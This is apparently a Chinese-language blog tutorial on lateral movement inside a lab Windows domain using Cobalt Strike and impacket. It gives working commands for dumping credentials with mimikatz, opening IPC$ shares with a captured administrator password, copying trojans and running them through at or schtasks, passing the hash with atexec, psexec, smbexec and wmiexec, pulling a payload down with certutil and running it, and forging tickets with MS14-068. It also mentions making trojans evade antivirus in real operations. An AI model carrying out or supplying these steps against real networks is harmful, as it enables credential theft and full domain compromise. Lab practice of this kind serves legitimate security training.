内网横向移动 ?

文章目录

  • 前言
  • 靶场环境配置
  • 一.内网横向移动
    • [1.1 首先拿到webshell](#1.1 首先拿到webshell)
    • [1.2 做信息收集](#1.2 做信息收集)
    • [1.3 ping当前域名](#1.3 ping当前域名)
    • [1.4 收集域内用户信息](#1.4 收集域内用户信息)
    • [1.5 扫描端口信息](#1.5 扫描端口信息)
    • [1.6 收集内网凭据信息(各种密码)](#1.6 收集内网凭据信息(各种密码))
    • [1.7 横向移动](#1.7 横向移动)
    • [1.8 正向连接操作步骤:](#1.8 正向连接操作步骤:)
      • [1.8.1 CS创建正向连接监听器](#1.8.1 CS创建正向连接监听器)
      • [1.8.2 利用此监听器生成木马,保存到本地桌面](#1.8.2 利用此监听器生成木马,保存到本地桌面)
      • [1.8.3 建立IPC连接(两种方法任选)](#1.8.3 建立IPC连接(两种方法任选))
        • [1.8.3.1 方法一:输入命令建立连接](#1.8.3.1 方法一:输入命令建立连接)
        • [1.8.3.2 方法二:利用插件建立连接](#1.8.3.2 方法二:利用插件建立连接)
      • [1.8.4 上传木马到webserver](#1.8.4 上传木马到webserver)
      • [1.8.5 上传木马到dc域控](#1.8.5 上传木马到dc域控)
      • [1.8.6 执行木马](#1.8.6 执行木马)
      • [1.8.7 连接木马](#1.8.7 连接木马)
    • [1.9 反向连接操作步骤:(步骤没问题,最后没有上线成功)](#1.9 反向连接操作步骤:(步骤没问题,最后没有上线成功))
      • [1.9.1 cs 转发上线](#1.9.1 cs 转发上线)
      • [1.9.2 cs生成木马](#1.9.2 cs生成木马)
      • [1.9.3 cs上传木马](#1.9.3 cs上传木马)
      • [1.9.4 上传木马到域控](#1.9.4 上传木马到域控)
      • [1.9.5 执行木马](#1.9.5 执行木马)
      • [1.9.6 上线](#1.9.6 上线)
  • [二、各种套件的利用:"impacket" 实现内网横向移动](#二、各种套件的利用:“impacket” 实现内网横向移动)
    • 使用方法:
      • [2.1 上传exe文件](#2.1 上传exe文件)
      • [2.2 调用脚本(可能一次不成功要多执行几次)](#2.2 调用脚本(可能一次不成功要多执行几次))
      • [2.3 将本地的木马下载到目标机器](#2.3 将本地的木马下载到目标机器)
      • [2.4 执行脚本,上线!](#2.4 执行脚本,上线!)
  • 三、代理转发实现内网横向移动
    • [3.1 开启SOCKS代理](#3.1 开启SOCKS代理)
    • [3.2 本地代理服务配置](#3.2 本地代理服务配置)
    • [3.3 检查物理机是否能访问内网](#3.3 检查物理机是否能访问内网)
    • [3.4 本地cmd执行命令](#3.4 本地cmd执行命令)
    • [3.5 使用py脚本横向移动](#3.5 使用py脚本横向移动)
    • [3.6 cs上线mary(步骤没问题没成功)](#3.6 cs上线mary(步骤没问题没成功))
  • 四、移动到win7
    • [4.1 在"目标"栏,鼠标右键选择"Jump"实现横向移动](#4.1 在“目标”栏,鼠标右键选择“Jump”实现横向移动)
    • [4.2 利用收集到的用户凭据信息,直接实现横向移动。(没成功)](#4.2 利用收集到的用户凭据信息,直接实现横向移动。(没成功))
  • 五、使用Impackt套件工具(无明文密码时利用)
    • [5.1 CS对当前受控机器提权,进行信息收集](#5.1 CS对当前受控机器提权,进行信息收集)
    • [5.2 CS进行代理转发,本地使用代理工具配置代理](#5.2 CS进行代理转发,本地使用代理工具配置代理)
    • [5.3 打开工具包中的"examples"文件](#5.3 打开工具包中的“examples”文件)
      • [5.3.1 psexec.py](#5.3.1 psexec.py)
        • [5.3.1.1 上传木马](#5.3.1.1 上传木马)
        • [5.3.1.2 下载木马](#5.3.1.2 下载木马)
      • [5.3.2 smbexec.py](#5.3.2 smbexec.py)
        • [5.3.2.1 使用命令连接内网的Windows7主机](#5.3.2.1 使用命令连接内网的Windows7主机)
        • [5.3.2.2 上线cs](#5.3.2.2 上线cs)
      • [5.3.3 wmiexe.py](#5.3.3 wmiexe.py)
        • [5.3.3.1 使用命令连接内网的Windows7主机](#5.3.3.1 使用命令连接内网的Windows7主机)
        • [5.3.3.2 上线cs](#5.3.3.2 上线cs)
  • 六、PTT票据传递
    • [6.1 利用ms14-068漏洞生成票据(利用明文密码生成,直接攻击域控)](#6.1 利用ms14-068漏洞生成票据(利用明文密码生成,直接攻击域控))
      • [6.1.1 上线webshell](#6.1.1 上线webshell)
      • [6.1.2 查看用户SID](#6.1.2 查看用户SID)
      • [6.1.3 生成票据](#6.1.3 生成票据)

前言

横向移动是从一个受控的主机迁移到另一个主机的过程。进入内部网络之后,常常利用被攻陷的主机作为跳板,继续访问或控制内网中的其他机器,直至获取机密数据或者控制关键资产。

横向移动包括用来进入内部网络和控制网络上的远程系统的技术。通常需要借助内网代理来探测内网中存活的资产,并确定最终的攻击目标,然后通过收集到的用户凭据,利用各种远程控制技术对目标发起攻击。

靶场环境配置

网络结构解读:webserver是唯一对外服务的主机,整个域内环境中只有他能够访问外网,其他主机全部无法访问外网,只能实现域内通信,同时域内的所有机器都受到域控(DC)的管理。

目的:我们通过web渗透拿到了webserver主机的控制权,想要进一步对域内其他主机做横向渗透或者拿下整个域控的权限。

因为是演示内网渗透,所以默认我们已经拿到了webserver的权限,所有的上传脚本或者工具的操作都只会在webserver上面。其余主机不会有任何的操作。

一.内网横向移动

1.1 首先拿到webshell

首先拿到webshell之后,利用webshell上传CS生成的木马,调用webserver主机运行木马并上线

1.2 做信息收集

上线之后,第一件事情:做信息收集

进入beacon,输入命令判断是否为域环境:shell net time /domain

#这条命令在没有域环境的主机上执行时,会显示没有域环境。因此可以使用此命令判断目标当前是否处于域环 境

#如果当前用户不是域主机,可在CS中执行"spawn as"以其他用户上线(提权之后可切换用户)

1.3 ping当前域名

得到当前域环境之后,使用ping命令去ping当前的域名,即可得到当前域控的ip地址:

复制代码
shell ping OWA2010CN-God.god.org -4

1.4 收集域内用户信息

复制代码
执行命令收集域内用户信息:
shell net user /domain

1.5 扫描端口信息

使用CS插件收集域内网络、端口信息

#收集的结果会显示在"视图"的"目标"栏目


对已经扫描出来的内网主机进行备注方便后续操作

1.6 收集内网凭据信息(各种密码)

收集内网凭据信息(各种密码)

#抓取密码的操作需要提升权限。
使用插件提权(很多的插件都有权限提升的功能,可多次尝试) 提权成功之后,会多出一条system权限的会话。


也可以试试其他提权漏洞或者插件

执行成功后多出来一条system会话

提权之后再获取密码和哈希值 可在"凭据信息"中看到在当前主机上登录过的账号密码和哈希值。

#内网域环境,每当域内其他账号登录在这台电脑的时候,登录过程中账号和密码信息会有域环境的验证过程, 这个验证过程会将账号密码保存在当前电脑的运行内存中,这时可以使用mimikatz插件抓取内存中的账号密 码。

提权成功后抓取hash

抓取明文密码

查看抓取到的密码

要想抓到域控的密码必须要域控曾经在这台机器上登录过

UAC 的凭据仅用于本次权限提升的验证,验证完成后不会被保留在 LSASS 的可被 mimikatz 读取的内存缓存中,因此

mimikatz 无法捕获到这个临时输入的密码。

用户正常登录系统的凭据、或已被 Windows 长期缓存到 LSASS 进程内存中的凭据(比如用户登录系统时输入的密码,会被 LSASS缓存以支持后续的资源访问)。这类凭据会被持久化存储在 LSASS 的内存空间中,因此 mimikatz 可以读取到这些缓存的凭据数据。

然后再抓取密码

获取到域控的账号密码

Administrator:Admin12345

1.7 横向移动

抓取到账号密码信息之后,接下来开始横向移动

思路:在CS中,目前上线的只有10.0.0.0/24网段的主机,但是在端口扫描中我们能够发现该主机还存

在192.168.3.0/24网段。说明只有10.0.0.0/24这个网段能够出网,192.168.3.0/24网段不能出网判断它属于内网环境 由于我们的目标是内网环境下192.168.3.0/24网段的主机,所以可以通过CS的ipc命令来实现横向移动,在这个过程中会有正向连接和反向连接的过程。

1.8 正向连接操作步骤:

1.8.1 CS创建正向连接监听器

1.8.2 利用此监听器生成木马,保存到本地桌面

#实战过程中木马要做免杀

1.8.3 建立IPC连接(两种方法任选)

#ipc:中文翻译为进程间通信。它是指在操作系统中,不同进程之间进行数据交换和协同工作的一种技术。 ipc可以通过共享内存、管道、套接字等多种方式实现进程间的通信。

#利用ipc技术建立网络共享连接之后,可以访问远程主机上的资源:如查看远程主机目录、复制文件、读取远 程主机上的文件、在远程主机上创建计划任务或系统服务等等,实战中通常会利用此方法。

IPC连接:https://blog.csdn.net/flyingleo1981/article/details/18763229

1.8.3.1 方法一:输入命令建立连接
复制代码
shell net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator
#命令注释:使用CS调动ipc的方式输入账号密码和目标机器建立连接(账号密码在信息收集凭据信息时可以获取)

利用system权限会话进入命令行执行命令建立连接

1.8.3.2 方法二:利用插件建立连接

选择插件中的横向移动模块,选择与指定主机建立IPC连接,输入目标主机的IP地址,账号密码(前面信息收集可得到)

1.8.4 上传木马到webserver

CS利用提权过的system会话,选择文件管理将生成的4444.exe木马上传到当前主机上


1.8.5 上传木马到dc域控

shell copy 4444.exe \192.168.3.21\c$

#利用IPC建立的连接,使用copy命令将当前受控机的木马复制到目标主机的c盘下

查看目标机器可以看到上传成功了

1.8.6 执行木马

查看当前时间,然后使用at命令创建计划任务运行4444.exe木马

复制代码
查看当前时间:
shell net time
使用at命令创建计划任务:(时间需要根据实际情况去设置)
shell at \\192.168.3.21 19:49 c:\4444.exe

根据时间设置定时任务执行木马

针对Windows2012版本之前的操作系统可以使用at命令;

针对Windows2012及以后版本的操作系统使用schtasks命令

复制代码
schtasks /create /s 192.168.3.21 /ru "SYSTEM" /tn beacon /sc DAILY /tr
c:\4444.exe /F
原理和at命令是一样的。

1.8.7 连接木马

等设置的时间到了之后,执行命令正向连接我们上传的木马,成功上线!实现横向移动

复制代码
连接192.168.3.21的4444端口:
connect 192.168.3.21 4444

新增上线一条cs会话,成功实现横向移动

1.9 反向连接操作步骤:(步骤没问题,最后没有上线成功)

1.9.1 cs 转发上线

CS中在提权的会话中,选择"代理转发"、"转发上线"模块(这一步也可以叫做新增监听器)

1.9.2 cs生成木马

使用CS生成木马,上传到目标主机(监听器选择刚刚设置的当前主机)

生成木马为5555.exe(名字自定义)

1.9.3 cs上传木马

CS利用提权过的system会话,选择文件管理将生成的5555.exe木马上传到当前主机上

1.9.4 上传木马到域控

此时建立IPC连接的过程和之前一样,

看到又之前连的

复制代码
shell net use

删掉重新连

复制代码
shell net use \\192.168.3.21\ipc$ /delete
复制代码
shell net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator

CS中使用命令将上传的5555.exe木马复制到目标机器

复制代码
shell copy 5555.exe \\192.168.3.21\c$

1.9.5 执行木马

查看当前时间,然后设置任务执行5555.exe木马

复制代码
shell net time
shell at \\192.168.3.21 13:57 c:\5555.exe
#首先查看当前服务器时间,然后根据当前服务器时间使用at命令设置木马到一个时间点之后自动运行

1.9.6 上线

等待设置的时间到了之后木马自动运行,CS成功上线!实现横向移动

二、各种套件的利用:"impacket" 实现内网横向移动

相关介绍:https://blog.csdn.net/qq_18811919/article/details/129152861

impacket是一系列网络协议,包括IP、TCP、ICMP等基础的网络协议,更重要的是其实现了大量的

Windows通信协议,是一个常用的"域渗透工具包"。工具包的原始代码都是用python写的脚本,在实战中需要 依赖于python的环境。所以有局限性,因此全部打包成了exe可执行文件。

使用方法:

2.1 上传exe文件

将这些exe可执行文件,上传到被控机器("atexec.exe"为例)

2.2 调用脚本(可能一次不成功要多执行几次)

CS调用终端命令行,利用上传的脚本执行连接命令

复制代码
shell atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
#利用收集到的账号密码信息,调用上传的atexec.exe脚本连接指定的主机(IP地址)并在引号内输入想要执
行的命令
复制代码
除了账号密码,还支持hash值连接:
shell atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/Administrator@192.168.3.21 "whoami"
#利用收集到的hash值来进行连接和执行命令

和利用巴西烤肉的提权脚本有些类似,都是上传工具然后调用并且在双引号中执行想要的操作

2.3 将本地的木马下载到目标机器

利用工具去执行下载命令,将本地的木马下载到目标机器

下载之前要先将木马通过CS上传到被控主机的网站根目录

复制代码
执行下载命令将木马下载到本地:(因为目标机器无法联网,只能构造本地下载地址)
shell atexec.exe god/administrator:Admin12345@192.168.3.21 "certutil.exe -urlcache -split -f http://192.168.3.31:80/5555.exe fan.exe"

2.4 执行脚本,上线!

复制代码
shell atexec.exe god/administrator:Admin12345@192.168.3.21 "fan.exe"

执行成功了,但是也没有上线成功

上传工具的用法其实在实战中用处不大,因为需要上传文件,而且文件也不小容易被发现,那有没有更好的办法呢?

可以使用代理转发,直接开启SOCKS代理转发功能,不需要上传各种工具,就可以在

本地执行这些exe程序进行攻击!来试一试~

三、代理转发实现内网横向移动

3.1 开启SOCKS代理


3.2 本地代理服务配置

地址是cs服务器地址

3.3 检查物理机是否能访问内网

3.4 本地cmd执行命令

复制代码
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"

3.5 使用py脚本横向移动

在物理机上使用psexec.py横向移动到mary

复制代码
python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 -codec gbk god/Administrator@192.168.3.25

3.6 cs上线mary(步骤没问题没成功)

上面的是在物理机控制台显示,看起来不太方便,接下来让mary上线cs

复制代码
certutil.exe -urlcache -split -f http://192.168.3.31:80/5555.exe 5555.exe&5555.exe

四、移动到win7

移动到Windows7主机更简单直接:

4.1 在"目标"栏,鼠标右键选择"Jump"实现横向移动

4.2 利用收集到的用户凭据信息,直接实现横向移动。(没成功)

利用收集到的用户凭证信息,实现横向移动

Windows7主机上线之后,再次执行mimikatz收集更多的用户凭据。收集完之后,再次使用这些凭据实现更多的横向移动!

五、使用Impackt套件工具(无明文密码时利用)

Impacket 工具包是红队人员内网横向使用频率最多的工具包之一,而Impacket 是一个标准 Python 类库,用于对 SMB1-3 或 IPv4 / IPv6 上的 TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB, MSRPC,NTLM,Kerberos,WMI,LDAP 等协议进行低级编程访问。可以独立安装,也可以直接打开命令行调用python去使用。

使用环境:使用工具包时出现以下报错表示缺少python模块

复制代码
安装模块命令:pip install impacket

环境配置成功之后使用步骤:

5.1 CS对当前受控机器提权,进行信息收集

端口扫描,凭据信息等等

5.2 CS进行代理转发,本地使用代理工具配置代理


5.3 打开工具包中的"examples"文件

examples文件中都是一些py类型的工具,需要依赖于python运行。接下来我们演示三种类型的

5.3.1 psexec.py

复制代码
shell chcp #获取对应编码

执行后会返回编码代码(例如:936对应GBK,65001对应UTF-8,437对应英文系统编码)。

复制代码
python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 -codec gbk god/Administrator@192.168.3.21
#运行python调用psexec.py,利用信息收集的hash值可直接连接到目标机器的cmd命令行。

接下来将取得的cmd权限转移到CS上面,使其上线!

5.3.1.1 上传木马

利用CS的文件管理功能上传生成的木马到webserver主机的网站目录下

5.3.1.2 下载木马

输入命令将上传的木马下载到Windows7机器并运行(命令可以在线生成)

命令生成网址:https://forum.ywhack.com/bountytips.php?download

复制代码
certutil.exe -urlcache -split -f http://192.168.3.31:80/5555.exe 5555.exe&5555.exe

5.3.2 smbexec.py

5.3.2.1 使用命令连接内网的Windows7主机
复制代码
python smbexec.py -hashes :ccef208c6485269c20db2cad21734fe7 -codec gbk god/Administrator@192.168.3.21
#命令运行之后等待几秒会返回一个命令行,此时是mary的主机
5.3.2.2 上线cs

上线CS的过程和上述方法一样(将木马上传到webserver主机,然后下载运行)

5.3.3 wmiexe.py

5.3.3.1 使用命令连接内网的Windows7主机

本机cmd运行命令,会回弹一个CMD命令行

复制代码
python wmiexec.py -hashes :ccef208c6485269c20db2cad21734fe7 -codec gbk god/Administrator@192.168.3.21
5.3.3.2 上线cs

CS上线步骤同上,不重复演示。

六、PTT票据传递

票据传递(Pass the Ticket,PTT),使用Kerberos票据进行内网横向,不需要管理员权限。当在域环境下的一些通信协议不能够正常利用时。也就是前面学习的方式都无法利用,可以尝试利用收集到的凭据信息生成票据去拿到域控权限。
网络认证协议Kerberos(相当于web中的cookie或session,属于用户凭据)

Kerberos是一个网络认证协议,用于验证用户和服务之间的身份,解决分布式计算环境中的身份验证问题。它使用加密技术来提供安全的身份验证,并防止网络中的身份欺骗攻击。Kerberos协议使用了票据交换的方式,其中包括客户端、认证服务器(AS)和票据授予服务器(TGS)。

Kerberos协议的优势在于提供了安全的身份验证机制,防止了网络中的身份欺骗攻击。它使用加密技术、共享密钥和票据交换等方法,确保只有经过身份验证的用户才能访问受保护的服务。Kerberos广泛应用于企业网络环境中,特别是在Windows域环境中,用于实现单点登录和统一身份验证 内网域中基本概念: KDC(Key Distribution Center)= 密钥分发中心 AS(Authentication Service)= 认证用户的身份,并为其发放TGT的服务

TGT(Ticket Granting Ticket)= TGT认证票据,由AS服务发放,存储在内存,默认有效期为10小时TGS(Ticket Granting Service)= 票据发放服务 ST(Service Tickets)=ST服务票据,由TGS服务发送 AP(Application Server)= 提供用户所需的服务 黄金票据(Golden Ticket)= 使用域账号krbtgt的NTLM Hash进行加密 白银票据 (Silver Ticket)= 使用服务账户的NTLM Hash进行加密

票据攻击的原理及利用:https://blog.csdn.net/weixin_54902210/article/details/128240484

6.1 利用ms14-068漏洞生成票据(利用明文密码生成,直接攻击域控)

原理:MS14-068是密钥分发中心(KDC)服务中的Windows漏洞,它允许经过身份验证的用户在票据(TGT)中插入任意PAC(代理配置)攻击者可以通过构造特定的请求包来达到提升权限的目的,相当于web中 的cookie伪造。

6.1.1 上线webshell

CS拿到webserver主机之后,执行命令,查看当前用户的SID值。

6.1.2 查看用户SID

复制代码
shell whoami/user
#查看当前用户的SID值

6.1.3 生成票据

利用工具包中MS14-068.exe生成票据。进入CMD命令行,调用MS14-068.exe伪造票据。

复制代码
MS14-068.exe -u webadmin@god.org -s S-1-5-18 -d 192.168.3.21 -p admin!@#45
-u 指定用户名
-s 指定SID值
-d 指定IP地址
-p 指定密码
#以上信息都可通过信息收集获取。
相关推荐
BingoGo2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack5 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理5 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
QQ5110082855 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php
WeiXin_DZbishe5 天前
基于django在线音乐数据采集的设计与实现-计算机毕设 附源码 22647
javascript·spring boot·mysql·django·node.js·php·html5